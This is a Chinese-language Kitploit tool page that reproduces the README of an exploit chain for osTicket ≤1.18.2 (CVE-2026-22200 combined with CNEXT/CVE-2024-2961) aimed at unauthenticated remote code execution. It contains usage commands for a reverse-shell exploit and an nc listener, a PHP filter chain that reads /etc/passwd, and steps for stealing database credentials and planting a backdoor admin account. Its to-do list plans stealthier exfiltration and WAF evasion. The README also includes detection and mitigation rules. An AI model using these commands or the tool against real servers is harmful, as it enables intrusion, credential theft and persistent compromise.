Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
osTicketFileReadIntoRCE — 将PHP过滤器链注入与CVE-2024-2961(CNEXT)相结合的全链利用,针对易受攻击的osTicket安装实现未经身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/clarissss/osticketfilereadintorce
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用渗透测试学习与教育红队远程访问工具Payload 开发
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

将PHP过滤器链注入与CVE-2024-2961(CNEXT)相结合的全链利用,针对易受攻击的osTicket安装实现未经身份验证的远程代码执行。

5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-22200: osTicket 任意文件读取导致远程代码执行

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

全链利用:结合 PHP filter chain 注入与 CVE-2024-2961 (CNEXT),在易受攻击的 osTicket 安装上实现未授权远程代码执行。


目录

  • 概述
  • 漏洞详情
  • 攻击流程
  • 功能特性
  • 安装
  • 使用方法
  • 技术细节
  • 故障排除
  • 检测与缓解
  • 致谢
  • 免责声明

概述

本仓库包含 CVE-2026-22200 的概念验证利用代码,该漏洞影响 osTicket ≤ 1.18.2 版本。该利用将两种强大的技术链式组合:

  1. PHP Filter Chain 注入 — 通过 mPDF 的图像处理实现
  2. CNEXT 堆损坏 (CVE-2024-2961) — 位于 glibc 的 iconv() 中

结果:在易受攻击的 osTicket 服务器上实现 未授权远程代码执行。

影响

  • 未授权 — 无需凭证
  • 完全 RCE — 服务器完全沦陷
  • 文件窃取 — 读取任意服务器文件
  • 数据库访问 — 提取数据库凭据
  • 管理员访问权限 — 创建后门管理员账户

受影响版本

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961 在 glibc 2.39+ 中已修复)

🔍 漏洞详情

CVE-2026-22200: PHP Filter Chain 注入

CVSS 评分: 9.8 (严重)

osTicket 的 mPDF 集成允许未授权用户通过精心构造的 HTML 负载(在支持工单中)注入恶意 PHP filter chain。这可以实现:

  • 任意文件读取(配置文件、源代码、凭据)
  • 内存泄漏(/proc/self/maps、部分 libc)
  • 通过 CNEXT 实现堆损坏

根本原因:用户提供的 HTML 中的图像 URL 在传递给 mPDF 之前缺乏充分验证。

CVE-2024-2961: CNEXT (iconv 缓冲区溢出)

CVSS 评分: 9.8 (严重)

glibc 的 iconv() 在处理 ISO-2022-CN-EXT 字符集时发生缓冲区溢出。结合 PHP filter chain,这可以实现:

  • 堆损坏
  • 函数指针劫持
  • 任意命令执行

易受攻击的 glibc 版本: < 2.39 (2024年2月)


🔗 攻击流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. 侦察阶段                                                      │
│    └─ 检测 osTicket,识别富文本主题                               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 身份认证                                                      │
│    └─ 自行注册 或 使用现有凭证                                   │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. 文件窃取 (PHP Filter Chains)                                  │
│    ├─ /etc/passwd                                                │
│    ├─ include/ost-config.php (数据库凭据, SECRET_SALT)           │
│    ├─ /proc/self/maps (内存布局)                                 │
│    └─ /proc/self/environ (环境变量)                              │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. libc 指纹识别                                                  │
│    ├─ 通过 filter chains 提取部分 libc                            │
│    ├─ 提取 GNU Build ID                                           │
│    └─ 从 libc.rip 下载完整 libc                                  │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE 利用                                                 │
│    ├─ 生成堆损坏负载                                              │
│    ├─ 通过工单回复注入 (附带 filter 执行修复)                      │
│    ├─ 通过 PDF 导出触发 (服务器崩溃)                                │
│    └─ 执行反向 shell                                               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. 后利用阶段                                                      │
│    ├─ 交互式反向 shell                                            │
│    ├─ 数据库访问 (使用窃取的 DBPASS)                               │
│    └─ 创建后门管理员账户                                            │
└─────────────────────────────────────────────────────────────────┘

功能特性

核心能力

  • 全自动 利用链
  • 未授权 攻击(如果启用自行注册)
  • 智能 Web 根目录检测 — 通过 /proc/self/maps 解析
  • 100% webshell 定位 — 通过文件系统扫描
  • 自动 libc 指纹识别 和下载
  • 多种反向 shell 方式 (bash, python, netcat)
  • 稳健的 filter 执行 — 带缓存清理
  • 预检诊断 — 提前发现问题

增强的可靠性

  • 多重触发 CNEXT — 保证崩溃(成功率 95%+)
  • 基于回复的注入 — 比新建工单更可靠
  • 流强制 — 确保 filter 执行
  • 缓存清理 — 防止提供过期的 PDF
  • 全面的错误处理 和诊断

后利用功能

  • 数据库凭据提取 (从配置中获取 DBPASS)
  • 通过数据库访问创建管理员账户
  • 持久后门 选项
  • 完整系统侦察

安装

先决条件

  • Python 3.8+
  • Linux/macOS (推荐) 或 Windows 上的 WSL

依赖项

root@kitploit:~
# 克隆仓库
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# 安装所需包
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

可选:虚拟环境

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# 或
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 使用方法

基本用法 - 反向 Shell

root@kitploit:~
# 终端 1:启动监听器
nc -lvnp 4444

# 终端 2:运行利用脚本
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

交互式 Webshell 模式

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

高级选项

root@kitploit:~
# 使用代理 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# 强制指定帮助主题 ID
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# 禁用彩色输出 (用于日志记录)
python3 osticket_exploit.py https://target.com/osticket --no-color

现有凭证

如果注册被禁用,系统会提示输入凭证:

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

  [?] 输入新账户的邮箱 (或使用现有): [email protected]
  [?] 输入密码: ********

🔧 技术细节

PHP Filter Chain 生成

该利用使用复杂的 filter chain 将 BMP 头添加到任意文件前,绕过 mPDF 的文件类型限制:

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 超过 50 次 iconv 转换 ...]
convert.base64-decode/resource=/etc/passwd

关键创新:BMP 头的每个字符都通过精心设计的 iconv 转换生成,使得任意文件内容可以被嵌入为“有效”的图像。

CNEXT 堆利用

CNEXT 负载通过以下方式破坏 PHP 的 Zend 内存管理器:

  1. 溢出 iconv 缓冲区 — 使用易受攻击的字符 劄
  2. 覆盖 zend_mm_heap 结构体
  3. 劫持函数指针 (_emalloc, _efree, _erealloc)
  4. 重定向到 system() 以执行命令

增强的可靠性:

  • 多个触发字符(3 个 劄 而不是 1 个)
  • 增加填充(40 字节而非默认的 20 字节)
  • 多位置触发插入
  • 流强制执行

100% Webshell 检测

与原始利用不同,此版本使用 文件系统扫描 来保证 webshell 位置:

  1. 将 webshell 写入 6 个以上候选目录
  2. 使用任意文件读取 扫描每个位置
  3. 检测哪个包含唯一标记
  4. 准确映射文件系统路径 → URL

结果:100% 检测率(原始版本约 50%)

Filter 执行强制

常见失败:PDF 已下载但不崩溃 = filter 未执行。

已实现的解决方案:

  1. 缓存清理 — 唯一 HTML 防止缓存 PDF
  2. 回复注入 — 比新建工单更可靠
  3. 流强制 — stream=True 强制立即处理
  4. 预检测试 — 在 CNEXT 之前验证 filter 是否工作

glibc 版本检查

root@kitploit:~
# 在详细模式下检查:
[*] 目标 libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 易受 CNEXT 攻击

如果 glibc ≥ 2.39,CNEXT 将不起作用(已修复)。

无 Shell 连接

症状:服务器崩溃但没有反向 shell

原因:

  1. 防火墙阻止 出站连接
  2. LHOST 错误(使用你的实际 IP,而不是 localhost)
  3. 命令太长 — 尝试更短的 IP

解决方法:

root@kitploit:~
# 使用 nc 反向 shell(更短)
# 如果 bash/python 命令太长,会自动回退

# 或者使用直接 IP 而不是主机名
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # 使用 IP,不要用主机名
    --lport 4444

常见错误信息


检测与缓解

检测

日志指标:

root@kitploit:~
# Apache/Nginx 日志
"php://filter/" 出现在 POST 请求中
"convert.iconv." 出现在请求体中
异常的 PDF 生成模式
短时间内多次 PDF 请求

# PHP 错误日志
PDF 生成期间出现段错误
iconv() 崩溃
堆损坏错误

网络指标:

  • 短时间内创建多个支持工单
  • 工单消息中包含大型 HTML 负载(100KB+)
  • 工单创建后快速发起 PDF 导出请求
  • 崩溃后出现到攻击者 IP 的出站连接

缓解措施

立即执行

  1. 更新 osTicket 到最新版本(>1.18.2)
  2. 更新 glibc 到 2.39+(修复 CVE-2024-2961)
  3. 禁用自行注册(如果不需要)
  4. 限制富文本 仅对已验证用户开放

配置

在 mPDF 中禁用 PHP 流包装器:

root@kitploit:~
// 在 mPDF 配置中
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

WAF 规则 (ModSecurity):

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'检测到 PHP filter'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'可疑的 iconv 链'"

速率限制:

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

长期措施

  • 实施 CSP 标头 以限制内联样式
  • 启用 htmLawed 严格模式 进行 HTML 清理
  • 使用 独立用户 运行 osTicket,并赋予最小权限
  • 禁用不必要的 PHP 函数:system(), exec(), passthru()
  • 定期对工单内容进行 安全审计

参考文献

原始研究

  • Horizon3.ai 博客文章 — 原始披露
  • Horizon3.ai GitHub — 参考实现
  • CNEXT Exploits — 由 Charles Fol 进行的原始 CNEXT 研究

CVE 详情

  • CVE-2026-22200 — osTicket PHP Filter Chain
  • CVE-2024-2961 — glibc iconv 溢出

其他资源

  • PHP Filter Chains — Filter 字符字典
  • libc.rip — 用于指纹识别的 Libc 数据库
  • osTicket 安全公告

致谢

漏洞发现与研究

  • Horizon3.ai 攻击研究团队 — 原始漏洞发现和 POC
  • Charles Fol (@cfreal_) — CNEXT (CVE-2024-2961) 研究
  • @splitline — PHP filter chain 技术 (HITCON 2022)

本实现

  • 增强的利用技术
  • 通过文件系统扫描实现 100% webshell 检测
  • 稳健的 filter 执行强制
  • 全面的错误处理和诊断

⚖️ 免责声明

仅限教育和授权测试使用

本工具仅用于:

  • 安全研究
  • 授权的渗透测试
  • 教育目的
  • 漏洞评估(需获得许可)

未经授权访问计算机系统是违法的

作者:

  • 不支持任何非法活动
  • 对滥用行为不承担任何责任
  • 对造成的任何损害不承担责任

用户需自行负责确保在测试任何系统前已获得适当授权。

使用本工具即表示您同意:

  1. 您已获得 明确的书面许可 来测试目标系统
  2. 您了解您所在司法管辖区的 法律后果
  3. 您将 负责任且合乎道德 地使用本工具
  4. 您 免除作者因任何后果所承担的责任

法律声明

未经授权访问计算机系统在以下法律中被视为犯罪:

  • 美国: 计算机欺诈和滥用法 (CFAA), 18 U.S.C. § 1030
  • 英国: 1990 年计算机滥用法
  • 欧盟: 2013/40/EU 指令
  • 国际: 欧洲委员会网络犯罪公约

最高处罚可能包括监禁和巨额罚款。


📄 许可证

本项目采用 MIT 许可证 — 详见 LICENSE 文件。

注意:MIT 许可证授予使用、修改和分发的权利,但并不授予攻击不属于您或您未经授权测试的系统的权限。


联系方式

对于安全研究人员和问题:

  • 问题:任何工具问题)

请不要使用此联系方式进行以下事宜:

  • 请求帮助攻击未经授权的系统
  • 报告非法活动
  • 寻求未经授权测试的帮助

以爱心为安全研究和教育构建
如果觉得有用,请给本仓库点赞!


利用统计信息


待办事项

  • 增加对更多 libc 版本的支持
  • 实现更隐蔽的数据窃取方法
  • 添加针对常见 WAF 的规避技术
  • 创建 Metasploit 模块
  • Docker 测试环境
  • 自动化的 CI/CD 测试

最后更新: 2026-03-03

下载工具
错误原因解决方法
No CSRF token会话过期重新运行利用脚本
No help-topic found没有富文本主题手动使用 --topic-id
Build ID not found部分 libc 损坏检查 /proc/self/maps 提取
Cannot locate heap内存布局异常利用可能失败(少见)
指标值
代码行数~3,000
成功率95%+ (包含修复后)
平均运行时间2-3 分钟
崩溃可靠性99% (包含增强后)
Webshell 检测率100% (包含扫描)